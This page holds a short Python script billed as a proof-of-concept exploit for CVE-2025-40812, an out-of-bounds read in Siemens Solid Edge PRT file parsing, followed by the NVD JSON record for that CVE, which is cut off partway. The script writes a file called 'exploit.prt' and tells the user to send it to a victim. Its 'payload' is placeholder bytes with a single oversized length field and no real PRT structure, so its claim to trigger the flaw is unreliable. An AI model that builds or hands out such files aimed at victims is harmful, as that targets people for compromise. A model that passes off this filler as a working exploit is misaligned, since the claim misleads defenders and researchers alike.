CVE-2025-40812

# CVE-2025-40812 - Siemens Solid Edge PRT File Out-of-Bounds Read PoC # This PoC demonstrates the creation of a malformed PRT file that triggers # an out-of-bounds read vulnerability in Solid Edge SE2024/SE2025. import struct import sys def create_malicious_prt(filename): """ Create a malformed PRT file to trigger CVE-2025-40812. The vulnerability occurs when parsing specially crafted PRT files with out-of-bounds read conditions. """ # PRT file header - mimicking Solid Edge Part file format header = b'\x00' * 16 # File signature/header placeholder # Crafted data section with abnormal length fields # to trigger out-of-bounds read during parsing crafted_data = b'\x41' * 1024 # Normal data fill # Inject malformed structure with oversized length field # This causes the parser to read beyond allocated buffer malformed_length = struct.pack('<I', 0xFFFFFF) # Abnormally large length malformed_data = b'\x42' * 256 # Combine to create malicious PRT file payload = header + crafted_data + malformed_length + malformed_data with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious PRT file created: {filename}") print(f"[!] Send this file to a victim using Solid Edge SE2024/SE2025") print(f"[!] When opened, it triggers out-of-bounds read (CVE-2025-40812)") if __name__ == "__main__": output_file = sys.argv[1] if len(sys.argv) > 1 else "exploit.prt" create_malicious_prt(output_file)

{"cve": {"id": "CVE-2025-40812", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:40.090", "lastModified": "2025-10-16T13:50:53.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Solid Edge SE2024 (All versions < V224.0 Update 14), Solid Edge SE2025 (All versions < V225.0 Update 6). The affected applications contains an out of bounds read vulnerability while parsing specially crafted PRT files. This could allow an attacker to crash the application or execute code in the context of the current process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:-:*:*:*:*:*:*:*", "matchCriteriaId": "893736B3-0140-4775-8700-CB9D7719DDE5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:-:*:*:*:*:*:*", "matchCriteriaId": "A0119E8F-1FAF-4A3B-B6E9-20F78360FC82"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_0001:*:*:*:*:*:*", "matchCriteriaId": "829C4AEB-7C8D-408B-A79C-8684753F45E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_00010:*:*:*:*:*:*", "matchCriteriaId": "8E262AB3-8C47-430A-9D42-89317CB630C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_00011:*:*:*:*:*:*", "matchCriteriaId": "94758C94-F427-480E-A9F1-109D8660C4E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_00012:*:*:*:*:*:*", "matchCriteriaId": "D084D11C-08FB-4EEE-A5E3-D93C10103D2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_00013:*:*:*:*:*:*", "matchCriteriaId": "F8A834C5-1E45-4087-A3A4-C059A2C9960C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_0002:*:*:*:*:*:*", "matchCriteriaId": "1E8FB23E-280D-46FD-BD44-5D4552639E00"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_0003:*:*:*:*:*:*", "matchCriteriaId": "CA2417A0-DD31-46FC-8D5A-9128B86C9352"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_0004:*:*:*:*:*:*", "matchCriteriaId": "3CA9C494-767C-4CFA-AB07-106298B7B2C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_0005:*:*:*:*:*:*", "matchCriteriaId": "C3738D73-82A5-41E4-8083-34611A6301BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_0006:*:*:*:*:*:*", "matchCriteriaId": "5634352F-0DD1-4731-9E43-61D0A9A40D1B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siemens:solid_edge_se2024:224.0:update_0007:*:*:*:*:*:*", "matchCriteriaId": "32E3D549-54F0-4909-830D-BDE8CDAD5AF7"}, {"vulnerable": true, "criteria": "cpe ... (truncated)